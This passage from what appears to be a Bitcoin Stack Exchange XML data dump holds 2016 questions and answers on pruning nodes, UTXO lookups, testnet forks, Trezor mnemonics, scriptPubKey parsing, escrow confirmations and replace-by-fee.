-I 13&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure to be fully synchronized with the vertcoin network before start it.&lt;br&gt;&lt;strong&gt;Hope for the Best&lt;/strong&gt;&lt;br&gt;&lt;br&gt;&#xA;It's not an exhaustive solution but it gives you a good overview about how to set up a solo mining configuration&lt;/p&gt;&#xA;" OwnerUserId="26697" LastEditorUserId="5406" LastEditDate="2016-04-25T08:30:40.647" LastActivityDate="2016-04-25T08:30:40.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43842" PostTypeId="2" ParentId="37496" CreationDate="2016-04-24T23:31:51.600" Score="2" Body="&lt;p&gt;there was a followup on what a pruning node could actually be good for. Well, one answer would be shop systems who do not want/cannot rely on third party APIs like blockchain.info for their payment processing. a prune node would allow to be run on say a cheap vps with low space, while checking mempool for incoming transactions to implement payments. it would also allow checking/signing messages using the clients rpc calls, and to a limited degree it could allow checking the balances of addresses. I personally think(and I proposed intelligent pruning as I call it back in 2013) bitcoin devs implemented it wrongly. My implementation suggestion back then was to prune coins from the blockchain that had already been spent. Current behavior is to verify coins in transactions back to coinbase(aka when they were mined), while it should be sufficient to keep the last say 120 blocks plus every unspent transaction. Since the client verifies all blocks it gets, it could rely on those coins to be verified, yet it wouldnt need to know any previous transactions the coins went through.&lt;/p&gt;&#xA;" OwnerUserId="35045" LastActivityDate="2016-04-24T23:31:51.600" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43843" PostTypeId="1" CreationDate="2016-04-25T00:36:40.273" Score="1" ViewCount="2037" Body="&lt;p&gt;How do I go about using words I pick in a trezor seed? I only want words that I select and in an order I select.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not worried about this being a less secure way to generate a seed. I will be doing all this off line with a disposable computer if necessary. I want to use a custom word list in conjunction with some custom math that with generate the correct order of my seed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have yet to find a way to do this with my trezor. I personally think that my backup seeds are safer in my head then on a piece of paper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried generating public/private keys with a custom mnemonic with custom words. Didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried generating public/private keys with a custom mnemonic with a word list generated from myTrezor.com &lt;strong&gt;(A-Z, excluding X, approximately 10 words to choose from per letter)[I did this by typing in each letter and copying the choices from the drop down]&lt;/strong&gt; Didn't work. [Error: Action was interrupted Invalid mnemonic, are words in correct order?]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shouldn't a valid public/private key pair be generated regardless of the words I pick and the order I put them in?&lt;/p&gt;&#xA;" OwnerUserId="34213" LastEditorUserId="5406" LastEditDate="2017-07-01T14:11:35.130" LastActivityDate="2021-07-04T23:07:30.700" Title="Trezor Custom Mnemonic" Tags="|security|seed|hardware-wallet|trezor|mnemonic-seed|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43847" PostTypeId="2" ParentId="43800" CreationDate="2016-04-25T13:02:27.823" Score="0" Body="&lt;p&gt;I was not running version 0.12.1 of bitcoind, as I mistakenly didn't overwrite the binary when upgrading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that I have upgraded it has been accepted into the mempool and I expect it to be included in a block as soon as upgraded miner includes it.&lt;/p&gt;&#xA;" OwnerUserId="26419" LastActivityDate="2016-04-25T13:02:27.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43848" PostTypeId="1" AcceptedAnswerId="43876" CreationDate="2016-04-25T13:21:08.373" Score="4" ViewCount="191" Body="&lt;p&gt;We are developing the open government auctions system on “Stellar” platform.  We forked Stellar and run our own network. We’ve added Lot creation transactions, auction participation, bids etc. There is encoding problem. We tried this solution:  &lt;a href=&quot;https://github.com/stellar/js-stellar-base/issues/60&quot; rel=&quot;nofollow&quot;&gt;https://github.com/stellar/js-stellar-base/issues/60&lt;/a&gt; But during the debug process we’ve find out that Stellar-core can’t process the data sent by js-xdr library in base64 (UTF-8) format. We’ve looked at the C++ source code but haven’t found the way to fix that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error example: &#xA;{\&quot;exception\&quot;=&gt;\&quot;Non-zero padding bytes encountered\&quot;}&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some help and/or advice on this issue will be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All source are available here: &lt;a href=&quot;http://www.eauction.idf.solutions/&quot; rel=&quot;nofollow&quot;&gt;http://www.eauction.idf.solutions/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="35064" LastEditorUserId="35064" LastEditDate="2016-04-26T10:35:55.703" LastActivityDate="2017-04-22T17:28:05.193" Title="Stellar UTF-8 Support" Tags="|stellar|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="43849" PostTypeId="2" ParentId="7637" CreationDate="2016-04-25T16:00:50.400" Score="1" Body="&lt;p&gt;You don't have to just find a block, but the blocks building on your block must reach a greater height than competing blockchain tips for others to reorganize their blockchain. In the easiest case that means you have to find two blocks before the whole network only finds one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is highly unlikely to happen, unless you have a) a significant portion of the network's hashrate at your disposal, or b) you find a block sufficiently near in time to the other block that each block reaches parts of the network first, and there are miners working on either to create a successor.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2016-04-25T16:00:50.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43850" PostTypeId="5" CreationDate="2016-04-25T17:49:04.330" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-04-25T17:49:04.330" LastActivityDate="2016-04-25T17:49:04.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43851" PostTypeId="4" CreationDate="2016-04-25T17:49:04.330" Score="0" Body="Transaction priority is derived from the size of a transaction, the value that is being transferred and the age of the coins. " OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-04-25T17:49:04.330" LastActivityDate="2016-04-25T17:49:04.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43855" PostTypeId="1" AcceptedAnswerId="43873" CreationDate="2016-04-26T06:18:40.097" Score="0" ViewCount="630" Body="&lt;p&gt;Whenever a transaction is received by a node, the node verifies its validity. To that end, it checks for each transaction input whether that input is part of the UTXO set. It is my understanding that the UTXO set is stored in the chainstate database, which is held in a &lt;code&gt;LevelDB&lt;/code&gt; structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I previously thought that he UTXO set was kept available in memory, but since I've learned that it is currently &lt;a href=&quot;http://statoshi.info/dashboard/db/unspent-transaction-output-set&quot; rel=&quot;nofollow&quot;&gt;about 1.2GiB in size&lt;/a&gt; that seems unlikely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I assume the chainstate-db is stored on disk, but accessed multiple times per second to check transaction inputs. What amount of memory usage does this induce on a node?&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-04-26T07:09:23.713" LastActivityDate="2016-04-27T06:20:05.920" Title="What is the memory usage for checking transaction inputs?" Tags="|transaction-verification|utxo|leveldb|memory|transaction-input|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43856" PostTypeId="1" AcceptedAnswerId="43871" CreationDate="2016-04-26T07:33:40.163" Score="2" ViewCount="369" Body="&lt;p&gt;It's simple to prove the creation of a UTXO: You just need to provide the transaction data, the Merkle branch, and block of the creating transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, as a full-node, it is simple to check whether the output hasn't been spent yet: You're keeping track of the UTXO yourself, and if it hasn't been removed from your UTXO set, it's still unspent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a &lt;strong&gt;lightweight client&lt;/strong&gt; doesn't have the full UTXO set at hand, how could it make sure that an output is still unspent? I see that BIP0064 introduced a &lt;code&gt;getutxo&lt;/code&gt; message, but can't seem to find more about it. Is such an interface still in effect? Is there an option beyond polling a number of different nodes for a particular UTXO, or running a full-node?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Clarification of what I'm interested in: I've recently read the paper &lt;a href=&quot;http://telematics.tm.kit.edu/publications/Files/566/wpes25f-florianA.pdf&quot; rel=&quot;nofollow&quot;&gt;Sybil-Resistant Pseudonymization and Pseudonym Change without Trusted Third Parties&lt;/a&gt;. The proposed system &lt;em&gt;BitNym&lt;/em&gt; manages pseudonyms by storing them in transaction outputs. A pseudonym stays valid until the anchoring output is spent. It is therefore of interest to check whether an output is still in the UTXO set.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-04-27T08:40:40.843" LastActivityDate="2016-04-27T08:40:40.843" Title="How can a lightweight client make sure output has not been spent yet?" Tags="|json-rpc|utxo|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43857" PostTypeId="2" ParentId="43856" CreationDate="2016-04-26T08:08:38.720" Score="0" Body="&lt;p&gt;It appears that BIP64 was &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/4351&quot; rel=&quot;nofollow&quot;&gt;reverted&lt;/a&gt; soon after it was merged, and only lived on in BitcoinXT as Mike Hearn originally introduced it for his Lighthouse application. The &lt;code&gt;getutxo&lt;/code&gt; message is also not part of Bitcoin Classic, as Classic was forked from Core, and not from XT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, it seems to me that being sure an output is still unspent is only practical by running your own full-node to query with &lt;code&gt;gettxout&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please feel free to correct me, if the above is not accurate.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2016-04-26T08:08:38.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43858" PostTypeId="2" ParentId="43856" CreationDate="2016-04-26T09:37:19.120" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;As a lightweight client doesn't have the full UTXO set at hand&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I assume you're right and in addition to your second message, I suppose the only way to check UTXO without BIP64 is to call a full node.&lt;br&gt;&#xA;Here is a simple exemple to do that :&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl &quot;https://bitcoin.toshi.io/api/v0/addresses/12c6DSiU4Rq3P4ZxziKxzrL5LmMBrzjrJX/unspent_outputs&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;from &lt;a href=&quot;https://toshi.io/docs/#get-address-unspent-outputs&quot; rel=&quot;nofollow&quot;&gt;https://toshi.io/docs/#get-address-unspent-outputs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26697" LastActivityDate="2016-04-26T09:37:19.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43860" PostTypeId="2" ParentId="43856" CreationDate="2016-04-26T10:14:11.720" Score="0" Body="&lt;p&gt;I don't think an SPV node can know for sure for 0-conf transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, once the transaction is in a block, the full node will provide you with a Merkle path proving that this transaction is part of that block. So then you're sure and if you also keep track of the PoW and subsequent blocks you can count how many confirmations the transactions has.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2016-04-26T10:14:11.720" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="43861" PostTypeId="1" AcceptedAnswerId="43926" CreationDate="2016-04-26T11:41:02.153" Score="1" ViewCount="1106" Body="&lt;p&gt;I am working with the &lt;code&gt;testnet&lt;/code&gt;. I downloaded the &lt;code&gt;bitcoin-core&lt;/code&gt; application on Linux and I am running the version &lt;code&gt;Bitcoin Core version v0.12.1.0-g9779e1e (64-bit)&lt;/code&gt; I was able to download the bitcoin block, recently its no longer syncing with the bitcoin network. Its showing &lt;code&gt;3 days behind&lt;/code&gt; and &lt;code&gt;0 active connection to the bitcoin network&lt;/code&gt;. How can I fix the issue. I want to connect to the &lt;code&gt;testnet&lt;/code&gt;. I tried to change the network settings in the application. Still its not working.&lt;/p&gt;&#xA;" OwnerUserId="34941" LastEditorUserId="5406" LastEditDate="2016-04-26T15:10:37.063" LastActivityDate="2016-04-30T09:29:43.690" Title="0 active connection to bitcoin network (testnet)" Tags="|synchronization|testnet|bitcoin-qt-setup|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="43862" PostTypeId="1" AcceptedAnswerId="43863" CreationDate="2016-04-26T13:19:43.827" Score="1" ViewCount="347" Body="&lt;p&gt;Can I expect the &lt;code&gt;getnewaddress&lt;/code&gt; command to work before my &lt;code&gt;bitcoind&lt;/code&gt; has finished synchronizing?&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2016-10-13T09:42:11.297" Title="Is the getnewaddress command available before synchronization is completed?" Tags="|bitcoind|json-rpc|synchronization|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43863" PostTypeId="2" ParentId="43862" CreationDate="2016-04-26T13:29:47.653" Score="2" Body="&lt;p&gt;Yes, &lt;code&gt;getnewaddress&lt;/code&gt; works independent of the downloading and indexing of your blockchain database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The command will generate a new private key in your wallet.dat file. This file is independent of the state of your blockchain files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your new address is derived from the freshly generated private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your client will need to be synced to see incoming transactions (deposits) on your address reflected in your balance.&lt;/p&gt;&#xA;" OwnerUserId="6527" LastActivityDate="2016-04-26T13:29:47.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43864" PostTypeId="2" ParentId="43862" CreationDate="2016-04-26T13:56:29.963" Score="1" Body="&lt;p&gt;Yes! Here's a screenshot for &lt;code&gt;getnewaddress&lt;/code&gt; on the Bitcoin Core's debug console while the wallet is not fully synced: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sXxnd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sXxnd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="35092" LastEditorUserId="5406" LastEditDate="2016-10-13T09:42:11.297" LastActivityDate="2016-10-13T09:42:11.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43865" PostTypeId="1" AcceptedAnswerId="43866" CreationDate="2016-04-26T14:33:16.447" Score="1" ViewCount="127" Body="&lt;p&gt;I am running &lt;code&gt;bitcoin-qt&lt;/code&gt; on the &lt;code&gt;testnet&lt;/code&gt;. The count of the last block is &lt;code&gt;787794&lt;/code&gt; which is way ahead of what I see on blockchain explorers such as &lt;a href=&quot;https://test.webbtc.com/&quot; rel=&quot;nofollow&quot;&gt;https://test.webbtc.com/&lt;/a&gt;, which shows the last block as &lt;code&gt;787747&lt;/code&gt;. Why is there this difference ?&lt;/p&gt;&#xA;" OwnerUserId="34941" LastEditorUserId="5406" LastEditDate="2016-04-26T14:46:23.927" LastActivityDate="2016-04-26T16:41:47.817" Title="Height mismatch between bitcoin-qt and bitcoin explorers" Tags="|blockchain|bitcoin-core|testnet|blockchain-fork|height|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43866" PostTypeId="2" ParentId="43865" CreationDate="2016-04-26T14:44:18.837" Score="1" Body="&lt;p&gt;Apparently, there is a fork between &lt;code&gt;0.12.0&lt;/code&gt; and &lt;code&gt;0.12.1&lt;/code&gt; nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Testnet is used to test new features of Bitcoin before they are released on the main network. Apparently, the newer version of Bitcoin created a block that was invalid under the rules of the older Bitcoin version. This caused the network to split, as the two versions now created two competing blocks at the same height, and are following separate chains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently, the softfork activation is being tested, which may cause your experience:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;phantomcircuit&amp;gt; nope&#xA;&amp;lt;phantomcircuit&amp;gt; like 50% of the hashing power currently on testnet randomly drops out for days at a time&#xA;&amp;lt;phantomcircuit&amp;gt; and im messing with the timestamps to get many many many more blocks than there should be&#xA;&amp;lt;phantomcircuit&amp;gt; the two things combined result in soft forks activating with way less than 95% of the hashing power&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-04-26T16:41:47.817" LastActivityDate="2016-04-26T16:41:47.817" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="43867" PostTypeId="2" ParentId="9068" CreationDate="2016-04-26T19:03:53.257" Score="2" Body="&lt;p&gt;A bit hacky, but the debug log shows your &quot;progress&quot; as far as bitcoind is concerned.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tail -n 1 ~/.bitcoin/debug.log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Gives you something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2016-04-26 19:02:21 UpdateTip: new best=000000000000000002a9b8f81c231c99b86f79fae383fb1fc046974f7fdcf118  height=405098  log2_work=84.399379  tx=119389857  date=2016-03-31 10:06:53 &#xA;progress=0.982752  cache=0.5MiB(0tx)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case, I'm 98 percent &quot;done&quot;.&lt;/p&gt;&#xA;" OwnerUserId="35098" LastActivityDate="2016-04-26T19:03:53.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43868" PostTypeId="1" CreationDate="2016-04-26T19:27:57.330" Score="0" ViewCount="217" Body="&lt;p&gt;Trying to parse scriptPubKeys and get the individual opcodes. My question is: How would you identify the &quot;bytes to push&quot; values?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of the typical scriptPubKey:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  76       A9             14&#xA;OP_DUP OP_HASH160    Bytes to push&#xA;&#xA;89 AB CD EF AB BA AB BA AB BA AB BA AB BA AB BA AB BA AB BA   88         AC&#xA;                      Data to push                     OP_EQUALVERIFY OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Script#Scripts&quot; rel=&quot;nofollow&quot;&gt;bitcoin.it/wiki&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does &quot;bytes to push&quot; only occur after specific opcodes? Or is it that anything that doesn't correspond to an opcode is interpreted as indicating the upcoming number of bytes to push on to the stack?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: Basically any tips/advice on parsing the locking script would be handy.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="24926" LastActivityDate="2016-04-26T19:37:11.303" Title="How is &quot;bytes to push&quot; distinguishable in the scriptPubKey?" Tags="|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43869" PostTypeId="2" ParentId="43868" CreationDate="2016-04-26T19:37:11.303" Score="3" Body="&lt;p&gt;It appears that anything between &lt;strong&gt;0x01 - 0x4b&lt;/strong&gt; in the scriptPubKey signifies the number of bytes to be pushed on to the stack.&lt;/p&gt;&#xA;" OwnerUserId="24926" LastActivityDate="2016-04-26T19:37:11.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43870" PostTypeId="1" AcceptedAnswerId="43906" CreationDate="2016-04-26T23:25:31.013" Score="-1" ViewCount="306" Body="&lt;p&gt;To me it seems very dangerous not to wait for 6 confirmations when running an escrow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The scenario I'm thinking of:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;a miner deposits a large sum of bitcoins &lt;/li&gt;&#xA;&lt;li&gt;the escrow waits for one or two confirmations&lt;/li&gt;&#xA;&lt;li&gt;the miner performs one of the three double spend attacks successfully&lt;/li&gt;&#xA;&lt;li&gt;the miner withdraws his bitcoins from the escrow service&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Where do those bitcoins come from?&lt;br&gt;&#xA;Those bitcoins are then obviously taken from another user.&lt;br&gt;&#xA;All assuming the escrow stores all users' bitcoins in one wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so back to my original question:&lt;br&gt; &#xA;How many confirmations should an escrow wait for? And why?&lt;/p&gt;&#xA;" OwnerUserId="35105" LastEditorUserId="5406" LastEditDate="2016-04-28T15:55:45.153" LastActivityDate="2016-04-30T07:01:07.717" Title="How many confirmations do bitcoin escrow websites wait on average?" Tags="|security|confirmations|doublespend|escrow|fraud|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="43871" PostTypeId="2" ParentId="43856" CreationDate="2016-04-27T00:48:52.967" Score="3" Body="&lt;p&gt;There are currently &lt;a href=&quot;https://bitnodes.21.co/nodes/?q=NODE_GETUTXOS&quot; rel=&quot;nofollow&quot;&gt;115 or so nodes&lt;/a&gt; which will answer the &lt;code&gt;getutxos&lt;/code&gt; message.  This is as good a source of this information as calling a 3rd party API.  The problem with both of these sources is that they do not provide cryptographic proof.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not actually possible to prove an output unspent, for the simple reason that it may have been spent in a block found an instant after the proof was produced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea of UTXO commitments would have miners publish a digest of the entire UTXO set in every block, which could be referenced to prove that a specific UTXO was unspent as of the lastest one, but you're probably also interested in any unconfirmed spends that are floating around out there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be a better idea to ask your peers to try to prove that an output is already spent.  Only confirmation should build your confidence in an incoming payment, but a spend proof in the form of a conflicting transaction (+ merkle branch, if found in the chain) can instantly lower your confidence to zero.&lt;/p&gt;&#xA;" OwnerUserId="21546" LastActivityDate="2016-04-27T00:48:52.967" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43872" PostTypeId="1" CreationDate="2016-04-27T03:50:27.477" Score="4" ViewCount="2375" Body="&lt;p&gt;I got a stuck transaction and would like to clear this. I found many information about RBF (Replace-by-Fee) how it works etc. So i think this might be the best option to get my transaction going.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately i couldnt find any information about how to apply this command to the existing unconfirmed and zero-fee transaction. Please advise.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;THank you so much&lt;/p&gt;&#xA;" OwnerUserId="35110" LastEditorUserId="5406" LastEditDate="2016-06-25T13:38:46.970" LastActivityDate="2016-06-25T13:38:46.970" Title="How to apply RBF (Replace-by-Fee)" Tags="|transactions|blockchain|bitcoin-core|transaction-fees|replace-by-fee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43873" PostTypeId="2" ParentId="43855" CreationDate="2016-04-27T06:20:05.920" Score="1" Body="&lt;p&gt;You are right UTXO set is stored on disk on .bitcoin/chainstate directory using leveldb. It is stored in compressed state and the current size is around 1.5GB&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To speed up access bitcoind uses an in memory cache which can be configured using -dbcache option.  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So, I assume the chainstate-db is stored on disk, but accessed&#xA;  multiple times per second to check transaction inputs. What amount of&#xA;  memory usage does this induce on a node?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Accessing the leveldb database itself is like accessing any other nosql database. You basically lookup the key which is the utxo and get a value as output which you need to deserialize and store in a memory variable&lt;/p&gt;&#xA;" OwnerUserId="26481" LastActivityDate="2016-04-27T06:20:05.920" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43874" PostTypeId="2" ParentId="41536" CreationDate="2016-04-27T06:31:27.273" Score="1" Body="&lt;p&gt;The answer for this is that miners need to have this in memory to consolidate tx for fee optimization and fast computation. Non mining /relay node can have mempool in disk. See &lt;a href=&quot;https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-July/009479.html&quot; rel=&quot;nofollow&quot;&gt;reference&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only concern for a relay node is to prevent  DOS attack during relay of transactions which also can be prevented by bandwidth limits.&lt;/p&gt;&#xA;" OwnerUserId="26481" LastEditorUserId="26481" LastEditDate="2016-04-27T06:39:16.877" LastActivityDate="2016-04-27T06:39:16.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43875" PostTypeId="1" CreationDate="2016-04-27T07:30:24.950" Score="6" ViewCount="5039" Body="&lt;p&gt;I started trading and buying Bitcoins for a while now, and realised: I have multiple wallets and multiple websites where I have bitcoins/litecoins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think most of the people, including me, want use Bitcoin in there day to day life, and also invest in Bitcoin and Litecoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this, which setup is recommended? &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Is it safe yet to store, lets say, 50 to 100 Bitcoins at some online service, or should I, after purchasing, transferring it to a&#xA;  hardware wallet?&lt;/li&gt;&#xA;  &lt;li&gt;Are there any sites which are buying Bitcoins or is it always from person to person (therefore, Volume might be a problem when investing)&lt;/li&gt;&#xA;  &lt;li&gt;All recommended services and wallets also have as many open &quot;recently got hacked&quot; reddit threads. Which ones have to be in a basic&#xA;  setup?&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In my perfect world, I have&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A hardware wallet with my Bitcoin investment&lt;/li&gt;&#xA;&lt;li&gt;A hardware wallet with Litecoin&lt;/li&gt;&#xA;&lt;li&gt;A mobile app for day-to-day bitcoins&lt;/li&gt;&#xA;&lt;li&gt;A trusted online service where I go to buy Litecoin/Bitcoin and also&#xA;sell it&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is my perfect world correct, are the big tradings time over or yet to come? From a tech perspective, Bitcoin is quite old, but there are still just low-quality apps out there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Any guidance?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="35077" LastEditorUserId="2306" LastEditDate="2016-05-17T18:29:16.313" LastActivityDate="2022-09-20T07:55:11.647" Title="What options does one have to manage Bitcoins?" Tags="|wallet|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43876" PostTypeId="2" ParentId="43848" CreationDate="2016-04-27T09:54:27.870" Score="0" Body="&lt;p&gt;The problem was in count of characters encoded in tx. C++ code allocate memory depending of count variable in tx. &#xA;This commit solve the problem: &lt;a href=&quot;https://github.com/stellar/js-xdr/pull/4/commits/119a8c26f71de8568d88cee1a94cb33074797859&quot; rel=&quot;nofollow&quot;&gt;https://github.com/stellar/js-xdr/pull/4/commits/119a8c26f71de8568d88cee1a94cb33074797859&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="35064" LastEditorUserId="35064" LastEditDate="2016-04-27T10:05:04.197" LastActivityDate="2016-04-27T10:05:04.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43877" PostTypeId="1" AcceptedAnswerId="43878" CreationDate="2016-04-27T11:04:16.217" Score="2" ViewCount="460" Body="&lt;p&gt;Is it possible to only mine your own incoming transactions? So you can confirm a Bitcoin transaction (only locally).&lt;/p&gt;&#xA;" OwnerUserId="35117" LastEditorUserId="5406" LastEditDate="2016-04-27T12:22:32.937" LastActivityDate="2018-07-24T16:54:19.727" Title="Confirm own incoming transactions" Tags="|mining-theory|confirmations|transaction-verification|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43878" PostTypeId="2" ParentId="43877" CreationDate="2016-04-27T12:09:32.210" Score="4" Body="&lt;p&gt;This might only be an issue with the terminology, but when a transaction is &quot;mined&quot;, it is included in a block. You could do that of course, if you were contributing blocks to the Bitcoin network, but the computing power of the network has grown to levels where it is &lt;a href=&quot;https://bitcoin.stackexchange.com/q/41276/5406&quot;&gt;infeasible to mine at home&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you can do, is to verify the validity of an incoming transaction. Your Bitcoin wallet software does this automatically when it receives the transaction. It checks that the inputs are available for spending, and the signature matches the source of the funds. However, until a transaction is part of a block in the longest valid chain, it is unconfirmed and may yet be replaced by a competing transaction spending the same funds. Therefore, you cannot &quot;confirm a transaction locally&quot;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2018-07-24T16:54:19.727" LastActivityDate="2018-07-24T16:54:19.727" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
